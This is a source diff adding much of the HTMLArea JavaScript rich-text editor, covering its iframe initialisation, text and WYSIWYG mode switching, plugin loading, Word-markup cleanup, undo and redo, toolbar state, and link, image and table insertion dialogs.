+                                       a[i]();
+                               }
+                       }
+               };
+       }
+
+       // add a handler for the "back/forward" case -- on body.unload we save
+       // the HTML content into the original textarea.
+       try {
+               window.onunload = function() {
+                       editor._textArea.value = editor.getHTML();
+               };
+       } catch(e) {};
+
+       // creates & appends the toolbar
+       this._createToolbar();
+
+       // create the IFRAME
+       var iframe = document.createElement("iframe");
+       htmlarea.appendChild(iframe);
+
+       this._iframe = iframe;
+
+       // creates & appends the status bar, if the case
+       this._createStatusBar();
+
+       // remove the default border as it keeps us from computing correctly
+       // the sizes.  (somebody tell me why doesn't this work in IE)
+
+       if (!HTMLArea.is_ie) {
+               iframe.style.borderWidth = "1px";
+       // iframe.frameBorder = "1";
+       // iframe.marginHeight = "0";
+       // iframe.marginWidth = "0";
+       }
+
+       // size the IFRAME according to user's prefs or initial textarea
+       var height = (this.config.height == "auto" ? (this._ta_size.h + "px") : this.config.height);
+       height = parseInt(height);
+       var width = (this.config.width == "auto" ? (this._ta_size.w + "px") : this.config.width);
+       width = parseInt(width);
+
+       if (!HTMLArea.is_ie) {
+               height -= 2;
+               width -= 2;
+       }
+
+       iframe.style.width = width + "px";
+       if (this.config.sizeIncludesToolbar) {
+               // substract toolbar height
+               height -= this._toolbar.offsetHeight;
+               height -= this._statusBar.offsetHeight;
+       }
+       if (height < 0) {
+               height = 0;
+       }
+       iframe.style.height = height + "px";
+
+       // the editor including the toolbar now have the same size as the
+       // original textarea.. which means that we need to reduce that a bit.
+       textarea.style.width = iframe.style.width;
+       textarea.style.height = iframe.style.height;
+
+       // IMPORTANT: we have to allow Mozilla a short time to recognize the
+       // new frame.  Otherwise we get a stupid exception.
+       function initIframe() {
+               var doc = editor._iframe.contentWindow.document;
+               if (!doc) {
+                       // Try again..
+                       // FIXME: don't know what else to do here.  Normally
+                       // we'll never reach this point.
+                       if (HTMLArea.is_gecko) {
+                               setTimeout(initIframe, 100);
+                               return false;
+                       } else {
+                               alert("ERROR: IFRAME can't be initialized.");
+                       }
+               }
+               if (HTMLArea.is_gecko) {
+                       // enable editable mode for Mozilla
+                       doc.designMode = "on";
+               }
+               editor._doc = doc;
+               if (!editor.config.fullPage) {
+                       doc.open();
+                       var html = "<html>\n";
+                       html += "<head>\n";
+                       if (editor.config.baseURL)
+                               html += '<base href="' + editor.config.baseURL + '" />';
+                       html += "<style>" + editor.config.pageStyle +
+                               " html,body { border: 0px; }</style>\n";
+                       html += "</head>\n";
+                       html += "<body>\n";
+                       html += editor._textArea.value;
+                       html += "</body>\n";
+                       html += "</html>";
+                       doc.write(html);
+                       doc.close();
+               } else {
+                       var html = editor._textArea.value;
+                       if (html.match(HTMLArea.RE_doctype)) {
+                               editor.setDoctype(RegExp.$1);
+                               html = html.replace(HTMLArea.RE_doctype, "");
+                       }
+                       doc.open();
+                       doc.write(html);
+                       doc.close();
+               }
+
+               if (HTMLArea.is_ie) {
+                       // enable editable mode for IE.  For some reason this
+                       // doesn't work if done in the same place as for Gecko
+                       // (above).
+                       doc.body.contentEditable = true;
+               }
+
+               editor.focusEditor();
+               // intercept some events; for updating the toolbar & keyboard handlers
+               HTMLArea._addEvents
+                       (doc, ["keydown", "keypress", "mousedown", "mouseup", "drag"],
+                        function (event) {
+                                return editor._editorEvent(HTMLArea.is_ie ? editor._iframe.contentWindow.event : event);
+                        });
+
+               // check if any plugins have registered refresh handlers
+               for (var i in editor.plugins) {
+                       var plugin = editor.plugins[i].instance;
+                       if (typeof plugin.onGenerate == "function")
+                               plugin.onGenerate();
+                       if (typeof plugin.onGenerateOnce == "function") {
+                               plugin.onGenerateOnce();
+                               plugin.onGenerateOnce = null;
+                       }
+               }
+
+               setTimeout(function() {
+                       editor.updateToolbar();
+               }, 250);
+
+               if (typeof editor.onGenerate == "function")
+                       editor.onGenerate();
+       };
+       setTimeout(initIframe, 100);
+};
+
+// Switches editor mode; parameter can be "textmode" or "wysiwyg".  If no
+// parameter was passed this function toggles between modes.
+HTMLArea.prototype.setMode = function(mode) {
+       if (typeof mode == "undefined") {
+               mode = ((this._editMode == "textmode") ? "wysiwyg" : "textmode");
+       }
+       switch (mode) {
+           case "textmode":
+               this._textArea.value = this.getHTML();
+               this._iframe.style.display = "none";
+               this._textArea.style.display = "block";
+               if (this.config.statusBar) {
+                       this._statusBar.innerHTML = HTMLArea.I18N.msg["TEXT_MODE"];
+               }
+               break;
+           case "wysiwyg":
+               if (HTMLArea.is_gecko) {
+                       // disable design mode before changing innerHTML
+                       try {
+                               this._doc.designMode = "off";
+                       } catch(e) {};
+               }
+               if (!this.config.fullPage)
+                       this._doc.body.innerHTML = this.getHTML();
+               else
+                       this.setFullHTML(this.getHTML());
+               this._iframe.style.display = "block";
+               this._textArea.style.display = "none";
+               if (HTMLArea.is_gecko) {
+                       // we need to refresh that info for Moz-1.3a
+                       try {
+                               this._doc.designMode = "on";
+                       } catch(e) {};
+               }
+               if (this.config.statusBar) {
+                       this._statusBar.innerHTML = '';
+                       this._statusBar.appendChild(document.createTextNode(HTMLArea.I18N.msg["Path"] + ": "));
+                       this._statusBar.appendChild(this._statusBarTree);
+               }
+               break;
+           default:
+               alert("Mode <" + mode + "> not defined!");
+               return false;
+       }
+       this._editMode = mode;
+       this.focusEditor();
+
+       for (var i in this.plugins) {
+               var plugin = this.plugins[i].instance;
+               if (typeof plugin.onMode == "function") plugin.onMode(mode);
+       }
+};
+
+HTMLArea.prototype.setFullHTML = function(html) {
+       var save_multiline = RegExp.multiline;
+       RegExp.multiline = true;
+       if (html.match(HTMLArea.RE_doctype)) {
+               this.setDoctype(RegExp.$1);
+               html = html.replace(HTMLArea.RE_doctype, "");
+       }
+       RegExp.multiline = save_multiline;
+       if (!HTMLArea.is_ie) {
+               if (html.match(HTMLArea.RE_head))
+                       this._doc.getElementsByTagName("head")[0].innerHTML = RegExp.$1;
+               if (html.match(HTMLArea.RE_body))
+                       this._doc.getElementsByTagName("body")[0].innerHTML = RegExp.$1;
+       } else {
+               var html_re = /<html>((.|\n)*?)<\/html>/i;
+               html = html.replace(html_re, "$1");
+               this._doc.open();
+               this._doc.write(html);
+               this._doc.close();
+               this._doc.body.contentEditable = true;
+               return true;
+       }
+};
+
+/***************************************************
+ *  Category: PLUGINS
+ ***************************************************/
+
+// this is the variant of the function above where the plugin arguments are
+// already packed in an array.  Externally, it should be only used in the
+// full-screen editor code, in order to initialize plugins with the same
+// parameters as in the opener window.
+HTMLArea.prototype.registerPlugin2 = function(plugin, args) {
+       if (typeof plugin == "string")
+               plugin = eval(plugin);
+       if (typeof plugin == "undefined") {
+               /* FIXME: This should never happen. But why does it do? */
+               return false;
+       }
+       var obj = new plugin(this, args);
+       if (obj) {
+               var clone = {};
+               var info = plugin._pluginInfo;
+               for (var i in info)
+                       clone[i] = info[i];
+               clone.instance = obj;
+               clone.args = args;
+               this.plugins[plugin._pluginInfo.name] = clone;
+       } else
+               alert("Can't register plugin " + plugin.toString() + ".");
+};
+
+// Create the specified plugin and register it with this HTMLArea
+HTMLArea.prototype.registerPlugin = function() {
+       var plugin = arguments[0];
+       var args = [];
+       for (var i = 1; i < arguments.length; ++i)
+               args.push(arguments[i]);
+       this.registerPlugin2(plugin, args);
+};
+
+// static function that loads the required plugin and lang file, based on the
+// language loaded already for HTMLArea.  You better make sure that the plugin
+// _has_ that language, otherwise shit might happen ;-)
+HTMLArea.loadPlugin = function(pluginName) {
+       var dir = _editor_url + "plugins/" + pluginName;
+       var plugin = pluginName.replace(/([a-z])([A-Z])([a-z])/g,
+                                       function (str, l1, l2, l3) {
+                                               return l1 + "-" + l2.toLowerCase() + l3;
+                                       }).toLowerCase() + ".js";
+       var plugin_file = dir + "/" + plugin;
+       var plugin_lang = dir + "/lang/" + HTMLArea.I18N.lang + ".js";
+       HTMLArea._scripts.push(plugin_file, plugin_lang);
+       document.write("<script type='text/javascript' src='" + plugin_file + "'></script>");
+       document.write("<script type='text/javascript' src='" + plugin_lang + "'></script>");
+};
+
+HTMLArea.loadStyle = function(style, plugin) {
+       var url = _editor_url || '';
+       if (typeof plugin != "undefined") {
+               url += "plugins/" + plugin + "/";
+       }
+       url += style;
+       document.write("<style type='text/css'>@import url(" + url + ");</style>");
+};
+HTMLArea.loadStyle("htmlarea.css");
+
+/***************************************************
+ *  Category: EDITOR UTILITIES
+ ***************************************************/
+
+// The following function is a slight variation of the word cleaner code posted
+// by Weeezl (user @ InteractiveTools forums).
+HTMLArea.prototype._wordClean = function() {
+       var D = this.getInnerHTML();
+       if (D.indexOf('class=Mso') >= 0) {
+
+               // make one line
+               D = D.replace(/\r\n/g, ' ').
+                       replace(/\n/g, ' ').
+                       replace(/\r/g, ' ').
+                       replace(/\&nbsp\;/g,' ');
+
+               // keep tags, strip attributes
+               D = D.replace(/ class=[^\s|>]*/gi,'').
+                       //replace(/<p [^>]*TEXT-ALIGN: justify[^>]*>/gi,'<p align="justify">').
+                       replace(/ style=\"[^>]*\"/gi,'').
+                       replace(/ align=[^\s|>]*/gi,'');
+
+               //clean up tags
+               D = D.replace(/<b [^>]*>/gi,'<b>').
+                       replace(/<i [^>]*>/gi,'<i>').
+                       replace(/<li [^>]*>/gi,'<li>').
+                       replace(/<ul [^>]*>/gi,'<ul>');
+
+               // replace outdated tags
+               D = D.replace(/<b>/gi,'<strong>').
+                       replace(/<\/b>/gi,'</strong>');
+
+               // mozilla doesn't like <em> tags
+               D = D.replace(/<em>/gi,'<i>').
+                       replace(/<\/em>/gi,'</i>');
+
+               // kill unwanted tags
+               D = D.replace(/<\?xml:[^>]*>/g, '').       // Word xml
+                       replace(/<\/?st1:[^>]*>/g,'').     // Word SmartTags
+                       replace(/<\/?[a-z]\:[^>]*>/g,'').  // All other funny Word non-HTML stuff
+                       replace(/<\/?font[^>]*>/gi,'').    // Disable if you want to keep font formatting
+                       replace(/<\/?span[^>]*>/gi,' ').
+                       replace(/<\/?div[^>]*>/gi,' ').
+                       replace(/<\/?pre[^>]*>/gi,' ').
+                       replace(/<\/?h[1-6][^>]*>/gi,' ');
+
+               //remove empty tags
+               //D = D.replace(/<strong><\/strong>/gi,'').
+               //replace(/<i><\/i>/gi,'').
+               //replace(/<P[^>]*><\/P>/gi,'');
+
+               // nuke double tags
+               oldlen = D.length + 1;
+               while(oldlen > D.length) {
+                       oldlen = D.length;
+                       // join us now and free the tags, we'll be free hackers, we'll be free... ;-)
+                       D = D.replace(/<([a-z][a-z]*)> *<\/\1>/gi,' ').
+                               replace(/<([a-z][a-z]*)> *<([a-z][^>]*)> *<\/\1>/gi,'<$2>');
+               }
+               D = D.replace(/<([a-z][a-z]*)><\1>/gi,'<$1>').
+                       replace(/<\/([a-z][a-z]*)><\/\1>/gi,'<\/$1>');
+
+               // nuke double spaces
+               D = D.replace(/  */gi,' ');
+
+               this.setHTML(D);
+               this.updateToolbar();
+       }
+};
+
+HTMLArea.prototype.forceRedraw = function() {
+       this._doc.body.style.visibility = "hidden";
+       this._doc.body.style.visibility = "visible";
+       // this._doc.body.innerHTML = this.getInnerHTML();
+};
+
+// focuses the iframe window.  returns a reference to the editor document.
+HTMLArea.prototype.focusEditor = function() {
+       switch (this._editMode) {
+           // notice the try { ... } catch block to avoid some rare exceptions in FireFox
+           // (perhaps also in other Gecko browsers). Manual focus by user is required in
+        // case of an error. Somebody has an idea?
+           case "wysiwyg" : try { this._iframe.contentWindow.focus() } catch (e) {} break;
+           case "textmode": try { this._textArea.focus() } catch (e) {} break;
+           default        : alert("ERROR: mode " + this._editMode + " is not defined");
+       }
+       return this._doc;
+};
+
+// takes a snapshot of the current text (for undo)
+HTMLArea.prototype._undoTakeSnapshot = function() {
+       ++this._undoPos;
+       if (this._undoPos >= this.config.undoSteps) {
+               // remove the first element
+               this._undoQueue.shift();
+               --this._undoPos;
+       }
+       // use the fasted method (getInnerHTML);
+       var take = true;
+       var txt = this.getInnerHTML();
+       if (this._undoPos > 0)
+               take = (this._undoQueue[this._undoPos - 1] != txt);
+       if (take) {
+               this._undoQueue[this._undoPos] = txt;
+       } else {
+               this._undoPos--;
+       }
+};
+
+HTMLArea.prototype.undo = function() {
+       if (this._undoPos > 0) {
+               var txt = this._undoQueue[--this._undoPos];
+               if (txt) this.setHTML(txt);
+               else ++this._undoPos;
+       }
+};
+
+HTMLArea.prototype.redo = function() {
+       if (this._undoPos < this._undoQueue.length - 1) {
+               var txt = this._undoQueue[++this._undoPos];
+               if (txt) this.setHTML(txt);
+               else --this._undoPos;
+       }
+};
+
+// updates enabled/disable/active state of the toolbar elements
+HTMLArea.prototype.updateToolbar = function(noStatus) {
+       var doc = this._doc;
+       var text = (this._editMode == "textmode");
+       var ancestors = null;
+       if (!text) {
+               ancestors = this.getAllAncestors();
+               if (this.config.statusBar && !noStatus) {
+                       this._statusBarTree.innerHTML = HTMLArea.I18N.msg["Path"] + ": "; // clear
+                       for (var i = ancestors.length; --i >= 0;) {
+                               var el = ancestors[i];
+                               if (!el) {
+                                       // hell knows why we get here; this
+                                       // could be a classic example of why
+                                       // it's good to check for conditions
+                                       // that are impossible to happen ;-)
+                                       continue;
+                               }
+                               var a = document.createElement("a");
+                               a.href = "#";
+                               a.el = el;
+                               a.editor = this;
+                               a.onclick = function() {
+                                       this.blur();
+                                       this.editor.selectNodeContents(this.el);
+                                       this.editor.updateToolbar(true);
+                                       return false;
+                               };
+                               a.oncontextmenu = function() {
+                                       // TODO: add context menu here
+                                       this.blur();
+                                       var info = "Inline style:\n\n";
+                                       info += this.el.style.cssText.split(/;\s*/).join(";\n");
+                                       alert(info);
+                                       return false;
+                               };
+                               var txt = el.tagName.toLowerCase();
+                               a.title = el.style.cssText;
+                               if (el.id) {
+                                       txt += "#" + el.id;
+                               }
+                               if (el.className) {
+                                       txt += "." + el.className;
+                               }
+                               a.appendChild(document.createTextNode(txt));
+                               this._statusBarTree.appendChild(a);
+                               if (i != 0) {
+                                       this._statusBarTree.appendChild(document.createTextNode(String.fromCharCode(0xbb)));
+                               }
+                       }
+               }
+       }
+
+       for (var i in this._toolbarObjects) {
+               var btn = this._toolbarObjects[i];
+               var cmd = i;
+               var inContext = true;
+               if (btn.context && !text) {
+                       inContext = false;
+                       var context = btn.context;
+                       var attrs = [];
+                       if (/(.*)\[(.*?)\]/.test(context)) {
+                               context = RegExp.$1;
+                               attrs = RegExp.$2.split(",");
+                       }
+                       context = context.toLowerCase();
+                       var match = (context == "*");
+                       for (var k in ancestors) {
+                               if (!ancestors[k]) {
+                                       // the impossible really happens.
+                                       continue;
+                               }
+                               if (match || (ancestors[k].tagName.toLowerCase() == context)) {
+                                       inContext = true;
+                                       for (var ka in attrs) {
+                                               if (!eval("ancestors[k]." + attrs[ka])) {
+                                                       inContext = false;
+                                                       break;
+                                               }
+                                       }
+                                       if (inContext) {
+                                               break;
+                                       }
+                               }
+                       }
+               }
+               btn.state("enabled", (!text || btn.text) && inContext);
+               if (typeof cmd == "function") {
+                       continue;
+               }
+               // look-it-up in the custom dropdown boxes
+               var dropdown = this.config.customSelects[cmd];
+               if ((!text || btn.text) && (typeof dropdown != "undefined")) {
+                       dropdown.refresh(this);
+                       continue;
+               }
+               switch (cmd) {
+                   case "fontname":
+                   case "fontsize":
+                   case "formatblock":
+                       if (!text) try {
+                               var value = ("" + doc.queryCommandValue(cmd)).toLowerCase();
+                               if (!value) {
+                                       // FIXME: what do we do here?
+                                       break;
+                               }
+                               // HACK -- retrieve the config option for this
+                               // combo box.  We rely on the fact that the
+                               // variable in config has the same name as
+                               // button name in the toolbar.
+                               var options = this.config[cmd];
+                               var k = 0;
+                               // btn.element.selectedIndex = 0;
+                               for (var j in options) {
+                                       // FIXME: the following line is scary.
+                                       if ((j.toLowerCase() == value) ||
+                                           (options[j].substr(0, value.length).toLowerCase() == value)) {
+                                               btn.element.selectedIndex = k;
+                                               break;
+                                       }
+                                       ++k;
+                               }
+                       } catch(e) {};
+                       break;
+                   case "textindicator":
+                       if (!text) {
+                               try {with (btn.element.style) {
+                                       backgroundColor = HTMLArea._makeColor(
+                                               doc.queryCommandValue(HTMLArea.is_ie ? "backcolor" : "hilitecolor"));
+                                       if (/transparent/i.test(backgroundColor)) {
+                                               // Mozilla
+                                               backgroundColor = HTMLArea._makeColor(doc.queryCommandValue("backcolor"));
+                                       }
+                                       color = HTMLArea._makeColor(doc.queryCommandValue("forecolor"));
+                                       fontFamily = doc.queryCommandValue("fontname");
+                                       fontWeight = doc.queryCommandState("bold") ? "bold" : "normal";
+                                       fontStyle = doc.queryCommandState("italic") ? "italic" : "normal";
+                               }} catch (e) {
+                                       // alert(e + "\n\n" + cmd);
+                               }
+                       }
+                       break;
+                   case "htmlmode": btn.state("active", text); break;
+                   case "lefttoright":
+                   case "righttoleft":
+                       var el = this.getParentElement();
+                       while (el && !HTMLArea.isBlockElement(el))
+                               el = el.parentNode;
+                       if (el)
+                               btn.state("active", (el.style.direction == ((cmd == "righttoleft") ? "rtl" : "ltr")));
+                       break;
+                   default:
+                       cmd = cmd.replace(/(un)?orderedlist/i, "insert$1orderedlist");
+                       try {
+                               btn.state("active", (!text && doc.queryCommandState(cmd)));
+                       } catch (e) {}
+               }
+       }
+       // take undo snapshots
+       if (this._customUndo && !this._timerUndo) {
+               this._undoTakeSnapshot();
+               var editor = this;
+               this._timerUndo = setTimeout(function() {
+                       editor._timerUndo = null;
+               }, this.config.undoTimeout);
+       }
+
+       // check if any plugins have registered refresh handlers
+       for (var i in this.plugins) {
+               var plugin = this.plugins[i].instance;
+               if (typeof plugin.onUpdateToolbar == "function")
+                       plugin.onUpdateToolbar();
+       }
+};
+
+/** Returns a node after which we can insert other nodes, in the current
+ * selection.  The selection is removed.  It splits a text node, if needed.
+ */
+HTMLArea.prototype.insertNodeAtSelection = function(toBeInserted) {
+       if (!HTMLArea.is_ie) {
+               var sel = this._getSelection();
+               var range = this._createRange(sel);
+               // remove the current selection
+               sel.removeAllRanges();
+               range.deleteContents();
+               var node = range.startContainer;
+               var pos = range.startOffset;
+               switch (node.nodeType) {
+                   case 3: // Node.TEXT_NODE
+                       // we have to split it at the caret position.
+                       if (toBeInserted.nodeType == 3) {
+                               // do optimized insertion
+                               node.insertData(pos, toBeInserted.data);
+                               range = this._createRange();
+                               range.setEnd(node, pos + toBeInserted.length);
+                               range.setStart(node, pos + toBeInserted.length);
+                               sel.addRange(range);
+                       } else {
+                               node = node.splitText(pos);
+                               var selnode = toBeInserted;
+                               if (toBeInserted.nodeType == 11 /* Node.DOCUMENT_FRAGMENT_NODE */) {
+                                       selnode = selnode.firstChild;
+                               }
+                               node.parentNode.insertBefore(toBeInserted, node);
+                               this.selectNodeContents(selnode);
+                               this.updateToolbar();
+                       }
+                       break;
+                   case 1: // Node.ELEMENT_NODE
+                       var selnode = toBeInserted;
+                       if (toBeInserted.nodeType == 11 /* Node.DOCUMENT_FRAGMENT_NODE */) {
+                               selnode = selnode.firstChild;
+                       }
+                       node.insertBefore(toBeInserted, node.childNodes[pos]);
+                       this.selectNodeContents(selnode);
+                       this.updateToolbar();
+                       break;
+               }
+       } else {
+               return null;    // this function not yet used for IE <FIXME>
+       }
+};
+
+// Returns the deepest node that contains both endpoints of the selection.
+HTMLArea.prototype.getParentElement = function() {
+       var sel = this._getSelection();
+       var range = this._createRange(sel);
+       if (HTMLArea.is_ie) {
+               switch (sel.type) {
+                   case "Text":
+                   case "None":
+                       // It seems that even for selection of type "None",
+                       // there _is_ a parent element and it's value is not
+                       // only correct, but very important to us.  MSIE is
+                       // certainly the buggiest browser in the world and I
+                       // wonder, God, how can Earth stand it?
+                       return range.parentElement();
+                   case "Control":
+                       return range.item(0);
+                   default:
+                       return this._doc.body;
+               }
+       } else try {
+               var p = range.commonAncestorContainer;
+               if (!range.collapsed && range.startContainer == range.endContainer &&
+                   range.startOffset - range.endOffset <= 1 && range.startContainer.hasChildNodes())
+                       p = range.startContainer.childNodes[range.startOffset];
+               /*
+               alert(range.startContainer + ":" + range.startOffset + "\n" +
+                     range.endContainer + ":" + range.endOffset);
+               */
+               while (p.nodeType == 3) {
+                       p = p.parentNode;
+               }
+               return p;
+       } catch (e) {
+               return null;
+       }
+};
+
+// Returns an array with all the ancestor nodes of the selection.
+HTMLArea.prototype.getAllAncestors = function() {
+       var p = this.getParentElement();
+       var a = [];
+       while (p && (p.nodeType == 1) && (p.tagName.toLowerCase() != 'body')) {
+               a.push(p);
+               p = p.parentNode;
+       }
+       a.push(this._doc.body);
+       return a;
+};
+
+// Selects the contents inside the given node
+HTMLArea.prototype.selectNodeContents = function(node, pos) {
+       this.focusEditor();
+       this.forceRedraw();
+       var range;
+       var collapsed = (typeof pos != "undefined");
+       if (HTMLArea.is_ie) {
+               range = this._doc.body.createTextRange();
+               range.moveToElementText(node);
+               (collapsed) && range.collapse(pos);
+               range.select();
+       } else {
+               var sel = this._getSelection();
+               range = this._doc.createRange();
+               range.selectNodeContents(node);
+               (collapsed) && range.collapse(pos);
+               sel.removeAllRanges();
+               sel.addRange(range);
+       }
+};
+
+/** Call this function to insert HTML code at the current position.  It deletes
+ * the selection, if any.
+ */
+HTMLArea.prototype.insertHTML = function(html) {
+       var sel = this._getSelection();
+       var range = this._createRange(sel);
+       if (HTMLArea.is_ie) {
+               range.pasteHTML(html);
+       } else {
+               // construct a new document fragment with the given HTML
+               var fragment = this._doc.createDocumentFragment();
+               var div = this._doc.createElement("div");
+               div.innerHTML = html;
+               while (div.firstChild) {
+                       // the following call also removes the node from div
+                       fragment.appendChild(div.firstChild);
+               }
+               // this also removes the selection
+               var node = this.insertNodeAtSelection(fragment);
+       }
+};
+
+/**
+ *  Call this function to surround the existing HTML code in the selection with
+ *  your tags.  FIXME: buggy!  This function will be deprecated "soon".
+ */
+HTMLArea.prototype.surroundHTML = function(startTag, endTag) {
+       var html = this.getSelectedHTML();
+       // the following also deletes the selection
+       this.insertHTML(startTag + html + endTag);
+};
+
+/// Retrieve the selected block
+HTMLArea.prototype.getSelectedHTML = function() {
+       var sel = this._getSelection();
+       var range = this._createRange(sel);
+       var existing = null;
+       if (HTMLArea.is_ie) {
+               existing = range.htmlText;
+       } else {
+               existing = HTMLArea.getHTML(range.cloneContents(), false, this);
+       }
+       return existing;
+};
+
+/// Return true if we have some selection
+HTMLArea.prototype.hasSelectedText = function() {
+       // FIXME: come _on_ mishoo, you can do better than this ;-)
+       return this.getSelectedHTML() != '';
+};
+
+HTMLArea.prototype._createLink = function(link) {
+       var editor = this;
+       var outparam = null;
+       if (typeof link == "undefined") {
+               link = this.getParentElement();
+               if (link && !/^a$/i.test(link.tagName))
+                       link = null;
+       }
+       if (link) outparam = {
+               f_href   : HTMLArea.is_ie ? editor.stripBaseURL(link.href) : link.getAttribute("href"),
+               f_title  : link.title,
+               f_target : link.target
+       };
+       this._popupDialog("link.html", function(param) {
+               if (!param)
+                       return false;
+               var a = link;
+               if (!a) try {
+                       editor._doc.execCommand("createlink", false, param.f_href);
+                       a = editor.getParentElement();
+                       var sel = editor._getSelection();
+                       var range = editor._createRange(sel);
+                       if (!HTMLArea.is_ie) {
+                               a = range.startContainer;
+                               if (!/^a$/i.test(a.tagName)) {
+                                       a = a.nextSibling;
+                                       if (a == null)
+                                               a = range.startContainer.parentNode;
+                               }
+                       }
+               } catch(e) {}
+               else {
+                       var href = param.f_href.trim();
+                       editor.selectNodeContents(a);
+                       if (href == "") {
+                               editor._doc.execCommand("unlink", false, null);
+                               editor.updateToolbar();
+                               return false;
+                       }
+                       else {
+                               a.href = href;
+                       }
+               }
+               if (!(a && /^a$/i.test(a.tagName)))
+                       return false;
+               a.target = param.f_target.trim();
+               a.title = param.f_title.trim();
+               editor.selectNodeContents(a);
+               editor.updateToolbar();
+       }, outparam);
+};
+
+// Called when the user clicks on "InsertImage" button.  If an image is already
+// there, it will just modify it's properties.
+HTMLArea.prototype._insertImage = function(image) {
+       var editor = this;      // for nested functions
+       var outparam = null;
+       if (typeof image == "undefined") {
+               image = this.getParentElement();
+               if (image && !/^img$/i.test(image.tagName))
+                       image = null;
+       }
+       if (image) outparam = {
+               f_url    : HTMLArea.is_ie ? editor.stripBaseURL(image.src) : image.getAttribute("src"),
+               f_alt    : image.alt,
+               f_border : image.border,
+               f_align  : image.align,
+               f_vert   : image.vspace,
+               f_horiz  : image.hspace
+       };
+       this._popupDialog("insert_image.html", function(param) {
+               if (!param) {   // user must have pressed Cancel
+                       return false;
+               }
+               var img = image;
+               if (!img) {
+                       var sel = editor._getSelection();
+                       var range = editor._createRange(sel);
+                       editor._doc.execCommand("insertimage", false, param.f_url);
+                       if (HTMLArea.is_ie) {
+                               img = range.parentElement();
+                               // wonder if this works...
+                               if (img.tagName.toLowerCase() != "img") {
+                                       img = img.previousSibling;
+                               }
+                       } else {
+                               img = range.startContainer.previousSibling;
+                       }
+               } else {
+                       img.src = param.f_url;
+               }
+
+               for (field in param) {
+                       var value = param[field];
+                       switch (field) {
+                           case "f_alt"    : img.alt    = value; break;
+                           case "f_border" : img.border = parseInt(value || "0"); break;
+                           case "f_align"  : img.align  = value; break;
+                           case "f_vert"   : img.vspace = parseInt(value || "0"); break;
+                           case "f_horiz"  : img.hspace = parseInt(value || "0"); break;
+                       }
+               }
+       }, outparam);
+};
+
+// Called when the user clicks the Insert Table button
+HTMLArea.prototype._insertTable = function() {
+       var sel = this._getSelection();
+       var range = this._createRange(sel);
+       var editor = this;      // for nested functions
+       this._popupDialog("insert_table.html", function(param) {
+               if (!param) {   // user must have pressed Cancel
+                       return false;
+               }
+               var doc = editor._doc;
+               // create the table element
+               var table = doc.createElement("table");
+               // assign the given arguments
+
+               for (var field in param) {
+                       var value = param[field];
+                       if (!value) {
+                               continue;
+                       }
+                       switch (field) {
+                           case "f_width"   : table.style.width = value + param["f_unit"]; break;
+                           case "f_align"   : table.align       = value; break;
+                           case "f_border"  : table.border      = parseInt(value); break;
+                           case "f_spacing" : table.cellSpacing = parseInt(value); break;
+                           case "f_padding" : table.cellPadding = parseInt(value); break;
+                       }
+               }
+               var tbody = doc.createElement("tbody");
+               table.appendChild(tbody);
+               for (var i = 0; i < param["f_rows"]; ++i) {
+                       var tr = doc.createElement("tr");
+                       tbody.appendChild(tr);
+                       for (var j = 0; j < param["f_cols"]; ++j) {
+                               var td = doc.createElement("td");
+                               tr.appendChild(td);
+                               // Mozilla likes to see something inside the cell.
+                               (HTMLArea.is_gecko) && td.appendChild(doc.createElement("br"));
+                       }
+               }
+               if (HTMLArea.is_ie) {
+                       range.pasteHTML(table.outerHTML);
+               } else {
+                       // insert the table
+                       editor.insertNodeAtSelection(table);
+               }
+               return true;
+       }, null);
+};
+
+/***************************************************
+ *  Category: EVENT HANDLERS
+ ***************************************************/
+
+// el is reference to the SELECT object
+// txt is the name of the select field, as in config.toolbar
+HTMLArea.prototype._comboSelected = function(el, txt) {
+       this.focusEditor();
+       var value = el.options[el.selectedIndex].value;
+       switch (txt) {
+           case "fontname":
+           case "fontsize": this.execCommand(txt, false, value); break;
+           case "formatblock":
+               (HTMLArea.is_ie) && (value = "<" + value + ">");
+               this.execCommand(txt, false, value);
+               break;
+           default:
+               // try to look it up in the registered dropdowns
+               var dropdown = this.config.customSelects[txt];
+               if (typeof dropdown != "undefined") {
+                       dropdown.action(this);
+               } else {
+                       alert("FIXME: combo box " + txt + " not implemented");
+               }
+       }
+};
+
+// the execCommand function (intercepts some commands and replaces them with
+// our own implementation)
+HTMLArea.prototype.execCommand = function(cmdID, UI, param) {
+       var editor = this;      // for nested functions
+       this.focusEditor();
+       cmdID = cmdID.toLowerCase();
+       switch (cmdID) {
+           case "htmlmode" : this.setMode(); break;
+           case "hilitecolor":
+               (HTMLArea.is_ie) && (cmdID = "backcolor");
+           case "forecolor":
+               this._popupDialog("select_color.html", function(color) {
+                       if (color) { // selection not canceled
+                               editor._doc.execCommand(cmdID, false, "#" + color);
+                       }
+               }, HTMLArea._colorToRgb(this._doc.queryCommandValue(cmdID)));
+               break;
+           case "createlink":
+               this._createLink();
+               break;
+           case "popupeditor":
+               // this object will be passed to the newly opened window
+               HTMLArea._object = this;
+               if (HTMLArea.is_ie) {
+                       //if (confirm(HTMLArea.I18N.msg["IE-sucks-full-screen"]))
+                       {
+                               window.open(this.popupURL("fullscreen.html"), "ha_fullscreen",
+                                           "toolbar=no,location=no,directories=no,status=no,menubar=no," +
+                                           "scrollbars=no,resizable=yes,width=640,height=480");
+                       }
+               } else {
+                       window.open(this.popupURL("fullscreen.html"), "ha_fullscreen",
+                                   "toolbar=no,menubar=no,personalbar=no,width=640,height=480," +
+                                   "scrollbars=no,resizable=yes");
+               }
+               break;
+           case "undo":
+           case "redo":
+               if (this._customUndo)
+                       this[cmdID]();
+               else
+                       this._doc.execCommand(cmdID, UI, param);
+               break;
+           case "inserttable": this._insertTable(); break;
+           case "insertimage": this._insertImage(); break;
+           case "about"    : this._popupDialog("about.html", null, this); break;
+           case "showhelp" : window.open(_editor_url + "reference.html", "ha_help"); break;
+
+           case "killword": this._wordClean(); break;
+
+           case "cut":
+           case "copy":
+           case "paste":
+               try {
+                       this._doc.execCommand(cmdID, UI, param);
+                       if (this.config.killWordOnPaste)
+                               this._wordClean();
+               } catch (e) {
+                       if (HTMLArea.is_gecko) {
+                               if (typeof HTMLArea.I18N.msg["Moz-Clipboard"] == "undefined") {
+                                       HTMLArea.I18N.msg["Moz-Clipboard"] =
+                                               "Unprivileged scripts cannot access Cut/Copy/Paste programatically " +
+                                               "for security reasons.  Click OK to see a technical note at mozilla.org " +
+                                               "which shows you how to allow a script to access the clipboard.\n\n" +
+                                               "[FIXME: please translate this message in your language definition file.]";
+                               }
+                               if (confirm(HTMLArea.I18N.msg["Moz-Clipboard"]))
+                                       window.open("http://mozilla.org/editor/midasdemo/securityprefs.html");
+                       }
+               }
+               break;
